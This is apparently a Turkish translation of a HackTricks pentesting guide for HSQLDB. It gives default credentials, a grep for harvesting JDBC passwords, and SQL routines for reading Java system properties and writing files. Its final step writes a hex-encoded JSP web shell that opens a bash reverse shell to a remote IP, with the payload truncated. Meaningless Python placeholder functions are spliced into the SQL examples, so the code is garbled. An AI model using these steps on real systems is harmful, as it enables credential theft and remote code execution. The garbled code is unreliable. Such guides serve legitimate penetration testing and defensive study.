9001 - Pentesting HSQLDB

AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

HSQLDB (HyperSQL Veritabanı), Java'da yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Hafızada ve disk tabanlı tabloları destekleyen küçük, hızlı, çoklu iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.

Varsayılan port: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Bilgi

Varsayılan Ayarlar

Unutmayın ki bu hizmet varsayılan olarak bellekte çalışıyor veya localhost'a bağlı. Eğer bulduysanız, muhtemelen başka bir hizmeti ele geçirdiniz ve ayrıcalıkları yükseltmek istiyorsunuz.

Varsayılan kimlik bilgileri genellikle boş bir şifre ile sa olarak ayarlanmıştır.

Başka bir hizmeti ele geçirdiyseniz, olası kimlik bilgilerini aramak için aşağıdaki komutu kullanabilirsiniz:

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Notu veritabanı adını dikkatlice kaydedin - bağlanmak için ihtiyacınız olacak.

Bilgi Toplama

HSQLDB'yi indirerek ve hsqldb/lib/hsqldb.jar dosyasını çıkararak DB örneğine bağlanın. GUI uygulamasını (eww) java -jar hsqldb.jar kullanarak çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.

Bağlantı URL'si, uzak bir sistem için aşağıdaki gibi görünecektir: jdbc:hsqldb:hsql://ip/DBNAME.

Hileler

Java Dil Rutinleri

Java Dil Rutinleri kullanarak HSQLDB'den bir Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın sınıf yolu üzerinde olması gerektiğini unutmayın.

JRT'ler fonksiyonlar veya prosedürler olabilir. Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa, fonksiyonlar SQL ifadeleri aracılığıyla çağrılabilir. VALUES ifadesi kullanılarak çağrılırlar.

Eğer çağırmak istediğimiz Java yöntemi void döndürüyorsa, CALL ifadesiyle çağrılması gereken bir prosedür kullanmamız gerekmektedir.

Java Sistem Özelliklerini Okuma

Fonksiyon oluştur:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
def execute_function():
    # Code to execute the function goes here
    pass

Fonksiyonu çalıştır:

def execute_function():
    # Fonksiyonu çalıştırmak için gerekli kod buraya yazılır
    pass
VALUES(getsystemproperty('user.name'))

Aşağıda sistem özelliklerinin bir listesini bulabilirsiniz.

Dosyaya İçerik Yazma

Özel bir prosedür aracılığıyla disk üzerine onaltılık kodlanmış öğeleri yazmak için JDK'da bulunan com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java aracını (uygulamanın sınıf yoluna otomatik olarak yüklenir) kullanabilirsiniz. Maksimum boyutun 1024 bayt olduğunu unutmayın.

Prosedür oluşturma:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Yürütme prosedürü:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated